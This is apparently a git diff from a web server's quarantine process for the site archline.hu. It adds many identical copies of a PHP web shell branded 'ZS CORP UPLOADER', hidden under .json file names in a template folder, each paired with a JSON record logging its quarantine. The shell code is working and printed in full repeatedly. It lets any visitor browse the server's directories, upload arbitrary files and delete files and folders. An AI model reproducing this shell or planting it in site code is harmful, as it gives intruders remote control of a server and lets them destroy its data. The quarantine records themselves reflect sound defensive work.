";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json.evidence.json new file mode 100644 index 0000000..71ad6c5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2987", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zseqn0yx.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924396, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zseqn0yx.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json.evidence.json new file mode 100644 index 0000000..58810b5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2979", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zseqn0yx.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php3.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924404, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zseqn0yx.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json.evidence.json new file mode 100644 index 0000000..fc28d82 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2994", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zseqn0yx.php4.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php4.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924405, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zseqn0yx.php4.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json.evidence.json new file mode 100644 index 0000000..4fa72a0 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2984", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zseqn0yx.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php5.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924406, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zseqn0yx.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json.evidence.json new file mode 100644 index 0000000..95c3efe --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2978", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zseqn0yx.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phtml.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924406, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zseqn0yx.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json.evidence.json new file mode 100644 index 0000000..c2cea22 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2942", + "log_excerpt": "[quarantine] www.archline.hu:templates/zscqyqr7.inc.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zscqyqr7.inc.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925169, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zscqyqr7.inc.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json.evidence.json new file mode 100644 index 0000000..229e809 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2946", + "log_excerpt": "[quarantine] www.archline.hu:templates/zscqyqr7.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zscqyqr7.phar.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925168, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zscqyqr7.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json.evidence.json new file mode 100644 index 0000000..b1bf887 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2940", + "log_excerpt": "[quarantine] www.archline.hu:templates/zscqyqr7.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zscqyqr7.php.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925155, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zscqyqr7.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json.evidence.json new file mode 100644 index 0000000..3ca91b3 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2954", + "log_excerpt": "[quarantine] www.archline.hu:templates/zscqyqr7.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zscqyqr7.php3.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925164, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zscqyqr7.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json.evidence.json new file mode 100644 index 0000000..b5b0842 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2936", + "log_excerpt": "[quarantine] www.archline.hu:templates/zscqyqr7.php4.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zscqyqr7.php4.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925165, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zscqyqr7.php4.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zscqyqr7.php5.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
